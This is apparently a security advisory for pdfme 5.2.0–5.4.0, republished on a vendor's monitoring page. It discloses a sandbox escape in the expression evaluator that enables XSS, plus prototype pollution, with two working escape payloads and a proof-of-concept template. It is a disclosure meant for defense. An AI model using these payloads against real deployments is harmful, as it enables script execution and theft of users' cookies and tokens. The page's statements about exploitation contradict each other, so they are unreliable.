Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-54xv-94qv-2gfg
No affected components available
Summary
The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.
Details
1. Sandbox Escape Leading to XSS
The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:
// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }
// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }
Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().
2. Prototype Pollution
The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:
__lookupGetter____lookupSetter____defineGetter____defineSetter__
Impact
These vulnerabilities allow attackers to:
- Execute arbitrary JavaScript code in the context of the application
- Steal sensitive information including cookies and tokens
- Modify application behavior through prototype pollution
- Potentially perform actions on behalf of users
Proof of Concept
Loading the following template in pdfme triggers alert(location):
{
"schemas": [[{
"name": "field1",
"type": "text",
"content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
"position": { "x": 0, "y": 0 },
"width": 100,
"height": 100
}]],
"basePdf": { "width": 100, "height": 100 },
"pdfmeVersion": "5.4.0"
}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard